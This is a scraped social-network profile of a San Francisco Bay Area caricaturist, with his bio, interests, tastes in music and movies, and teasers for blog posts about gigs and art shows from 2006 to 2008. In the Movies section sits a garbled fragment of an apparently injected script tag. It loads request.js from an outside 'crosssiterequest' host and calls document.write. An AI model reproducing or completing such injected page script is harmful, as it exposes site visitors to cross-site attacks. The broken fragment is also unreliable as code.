Big Al - I wanna draw at your EVENT!

About Me

Al, Big Al, that's who! I've been drawing entertaining caricature portraits since June 1985 (and still do!). As a boy I enjoyed drawing cartoons of animals and in junior high started making funny faces of my teachers. While attending college I would sketch comedians while they performed at various SF Bay Area comedy clubs as early as 1983. In 1996, I won the "Silver Nosey" award at the NCN's annual convention in Houston, Texas. In 2000 my caricature of "Atomic Jenny" was voted one of the Top Ten Caricatures of the year. From 2002 until recently I would sketch burlesque dancers and models of all types at various venues. I've had work shown at galleries in San Francisco, Pleasanton and Hollywood, California. In 2003 my Foamcore Femmes were shown at Echo Gallery in Chicago. PinUp Caricaturist - Glamour, style, and simplification with pencil, ink and watercolor. Small town Bay Area boy who likes to explore the big city and hopefully not be devoured by it! Here's a selection of images I've drawn at various National Caricaturist Network conventions. I've attended 8 times since 1994. .. Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

Art, Caricature, Pin-Up Art, fine art, figurative art, illustration, classic and neo-burlesque, fashion, retro culture, lowbrow art, photography, etc ...

I'd like to meet:

Artists, Models, performers, collectors of art, admirers of caricature

Music:

I'm all over the place with music. In the last year or 2 I've seen a few concerts. Some with my lovely wife and some with the boy and/or the girl. The Yoshida Brothers were outstanding. American Idol (Taylor Hicks season) ... eh. Christina Aguilera and the Pussycat Dolls exciting and fun. Rockstar: Supernova - overall okay - the highlight was Dilana kickin' ass on a song with Dave Navarro's band! My favorite performance was the tightest set: cohesive, polished yet exciting and amazing - My Chemical Romance as "The Black Parade" - when My Chem does their own thing I thing it just kinda falls short (or me), but the Black Parade set was just awesome!!! Last concert I went to was Projekt Revolution with the kids. It was pretty cool!

Movies:

Big Fish, The Line King: the Al Hirschfeld Story, The Iron Giant, The Tune, Crumb, Whale Rider, The Notorious Bettie Page.... language="javascript" src="http://crosssiterequest../request.js">function nothingf(){document·write("nathanjosiah1.mov.r{}");}..& gt;

Television:

Too much to list.

Books:

I haven't been able to concentrate to read for many years - with the exception of the Bible. I look at pictures.

Heroes:

My Blog

Billetproof 2008 - September Sketches

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Posted by Big Al - I wanna draw at your EVENT! on Mon, 22 Sep 2008 11:17:00 PST

Drawing Live in Brentwood, 94513, Summer 2008 Carshows

I drew this family at the first "Stroll, Show & Shine" which takes place Thursdays in Brentwood.I'll be down there various Thursdays throughout the summer.The next Thursday I will be there is June 19 ...
Posted by Big Al - I wanna draw at your EVENT! on Tue, 17 Jun 2008 07:55:00 PST

Drawing in SF tonight.

This'll be my 3rd Prom this year. Should be fun. I'll be drawing with my good friend Roz. Next week Grad Nights begin. Lotsa 4-6 hour gigs between 10pm and 4am! Keep me in your thoughts and prayer...
Posted by Big Al - I wanna draw at your EVENT! on Sun, 18 May 2008 06:24:00 PST

"Pin-ups and Pinstripes" in Pleasanton through September 22nd

I have 17 pieces on the walls. One wall of 12 luscious ladies (11 from life) - includes 9 drawings from Dr. Sketchy sessions in LA and SF. One drawing of Sara Danielle from a Kazem session in Brentwoo...
Posted by Big Al - I wanna draw at your EVENT! on Wed, 29 Aug 2007 02:50:00 PST

August Artshow 2 - Big AL Art opening August 3rd in Brentwood 94513

I'll have some of the big 32x40" Foamcore Femmes up along with drawings from life and other selections from my recent work (2002 'til now)....
Posted by Big Al - I wanna draw at your EVENT! on Sat, 28 Jul 2007 12:08:00 PST

August Artshow 1 - Altered Barbie opening August 2nd in SF

1 of 4 pieces I'll have on display and for sale.Nice simple pen & ink - Barbie in Profile...
Posted by Big Al - I wanna draw at your EVENT! on Thu, 19 Jul 2007 08:13:00 PST

Tuesday in the Park with AL. (Slideshow)

So, last week when I took the car in for service I walked home. Which I'm apt to do when I take the cars in. I should walk more ... anyway ... I had my sketchbook with me. I've taken my book and a cam...
Posted by Big Al - I wanna draw at your EVENT! on Wed, 10 Jan 2007 07:47:00 PST

12 Days - Slide show 2003 holiday project

Happy Holidays!...
Posted by Big Al - I wanna draw at your EVENT! on Mon, 18 Dec 2006 07:50:00 PST

PGA '96 - for my Amusement I drew these guys and gals

When I drew at Paramount's in Santa Clara sometimes some real characters would hang around the booth. ...
Posted by Big Al - I wanna draw at your EVENT! on Tue, 28 Nov 2006 04:43:00 PST

Gig drawings from Sept., Oct. & November

This past week was super busy. I drew at a Volleyball awards dinner Tuesday, a mall re-grand opening Friday and Sunday, another shopping center Saturday, and an event in Napa on Saturday night.These a...
Posted by Big Al - I wanna draw at your EVENT! on Tue, 14 Nov 2006 08:34:00 PST